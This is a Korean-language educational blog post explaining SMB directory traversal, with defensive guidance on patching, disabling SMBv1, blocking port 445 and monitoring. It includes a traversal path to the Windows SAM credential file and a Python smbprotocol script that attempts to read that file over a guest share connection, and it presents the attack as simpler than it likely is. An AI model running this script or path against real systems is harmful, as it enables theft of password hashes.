🔍 서버 메시지 블록(SMB) 트래버설 공격이란? 🚨

인터넷을 이용하는 사람들이라면 누구나 한 번쯤은 해킹에 대한 뉴스를 본 적이 있을 거예요.
오늘은 해커들이 네트워크에서 데이터를 훔칠 때 자주 사용하는 기법 중 하나인
SMB 트래버설 공격에 대해 쉽게 설명해 드릴게요! 🕵️‍♂️💻

---

💡 SMB(Server Message Block)란?

SMB는 Windows 운영체제에서 파일과 프린터를 공유할 때 사용하는 프로토콜이에요.
즉, 여러 컴퓨터가 같은 네트워크에서 데이터를 주고받을 때 SMB를 통해 쉽게 접근할 수 있도록 도와줍니다.

✅ SMB의 주요 기능:

• 파일 공유 📂
• 프린터 공유 🖨️
• 네트워크 리소스 액세스 🖧

하지만 이 기능이 제대로 보호되지 않으면 해커들이 시스템에 침입하는 경로로 활용될 수 있습니다. 😨

---

🚨 SMB 트래버설 공격이란?

해커들은 SMB의 보안 취약점을 이용해 특정 디렉터리에 직접 접근하는 공격 기법을 사용합니다.
이 과정에서 ../ 같은 디렉터리 이동(트래버설, Traversal) 기법을 활용하여,
원래 접근하면 안 되는 파일까지 몰래 열어보는 것이 가능해집니다.

🔎 예제:
예를 들어, 사용자가 아래와 같은 SMB 요청을 보낸다고 가정해 봅시다.

\\192.168.1.10\shared\documents\important.txt

 

이 경로는 특정 폴더(documents) 안의 파일(important.txt)을 요청하는 거예요.

하지만 해커가 다음과 같은 요청을 보내면... 🤯

\\192.168.1.10\shared\documents\..\..\Windows\system32\config\sam

 

🚨 Windows 시스템 폴더에 접근해 중요한 보안 설정을 훔칠 수 있게 됩니다!
이렇게 원래 허용되지 않은 상위 디렉터리로 이동(Directory Traversal) 하여
중요한 시스템 파일에 접근하는 것이 SMB 트래버설 공격입니다.

---

💻 SMB 트래버설 공격을 실험해보기 (Python 예제)

(⚠️ 주의: 교육 목적으로만 활용하세요! 본인의 시스템에서만 실험하세요!)

해커들은 Python과 같은 프로그래밍 언어를 이용해 취약한 SMB 서버를 스캔하고 공격할 수 있습니다.
아래 예제는 smbprotocol 라이브러리를 사용하여 특정 파일에 접근하는 방법을 보여줍니다.

🔹 Python 코드: SMB 서버의 특정 파일 접근

from smbprotocol.connection import Connection
from smbprotocol.session import Session
from smbprotocol.tree import TreeConnect
from smbprotocol.open import Open
from smbprotocol.create import CreateDisposition, CreateOptions

# 서버 정보 설정
server_ip = "192.168.1.10"
share_name = "shared"
username = "guest"
password = ""

try:
    # SMB 연결 생성
    conn = Connection(uuid="1234", server=server_ip, port=445)
    conn.connect()
    session = Session(conn, username, password)
    session.connect()
    
    # 공유 폴더 접근
    tree = TreeConnect(session, f"\\\\{server_ip}\\{share_name}")
    tree.connect()
    
    # 파일 열기 (트래버설 공격 시도)
    file_path = "..\\..\\Windows\\system32\\config\\sam"
    smb_file = Open(tree, file_path, CreateDisposition.OPEN, CreateOptions.NON_DIRECTORY_FILE)
    smb_file.open()
    
    # 파일 읽기
    data = smb_file.read(0, 1024)  # 처음 1024바이트 읽기
    print("파일 내용:", data)

    # 정리
    smb_file.close()
    tree.disconnect()
    session.disconnect()
    conn.disconnect()
    
except Exception as e:
    print("에러 발생:", e)

🔎 코드 설명

1. SMB 서버와 연결 – 특정 IP의 공유 폴더(shared)에 접속
2. 파일 열기 – ..\\..\\Windows\\system32\\config\\sam 경로로 이동 시도
3. 파일 내용 읽기 – 파일을 열어 내용을 확인

---

🔥 SMB 트래버설 공격을 막는 방법! (보안 가이드)

해커들이 이런 공격을 하지 못하도록 미리 대비하는 것이 중요합니다! 🚧

✅ 1. 최신 보안 패치 적용
👉 Windows 보안 업데이트를 항상 최신 상태로 유지하세요.
👉 Microsoft는 SMB 취약점 패치를 지속적으로 제공하므로 업데이트를 꼭 해야 합니다.

✅ 2. SMB 버전 1 비활성화
👉 Windows의 SMBv1은 오래된 프로토콜로, 많은 보안 취약점을 가지고 있습니다.
👉 PowerShell을 이용해 SMBv1을 비활성화하세요.

Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force

✅ 3. 방화벽 설정 강화
👉 불필요한 포트 445(SMB 포트)를 차단하세요.
👉 Windows 방화벽에서 아래 명령어를 실행하면 차단할 수 있습니다.

New-NetFirewallRule -DisplayName "Block SMB" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block

✅ 4. 접근 제어 정책 설정
👉 네트워크 공유 폴더의 접근 권한을 제한하세요.
👉 권한이 없는 사용자가 SMB 공유를 통해 시스템 파일에 접근할 수 없도록 조치해야 합니다.

✅ 5. 이상 징후 모니터링
👉 로그 분석 도구를 이용해 SMB의 비정상적인 파일 접근 로그를 확인하세요.
👉 특정 사용자가 ..\\ 같은 트래버설 패턴을 사용하면 경고를 설정하세요.

---

🎯 마무리: SMB 보안, 선택이 아닌 필수!

SMB는 네트워크 공유를 편리하게 해주는 강력한 기능이지만, 보안이 허술하면 해커들의 표적이 될 수 있습니다. 😨

🚨 오늘의 핵심 요약 🚨
✅ SMB는 네트워크 파일 공유에 사용됨
✅ 해커들은 ../ 디렉터리 이동을 이용해 허용되지 않은 파일에 접근할 수 있음
✅ 최신 보안 패치를 적용하고, SMBv1을 비활성화하며, 접근 권한을 제한해야 함

💡 보안은 미리 대비하는 것이 가장 중요합니다! 여러분의 시스템은 안전한가요? 🛡️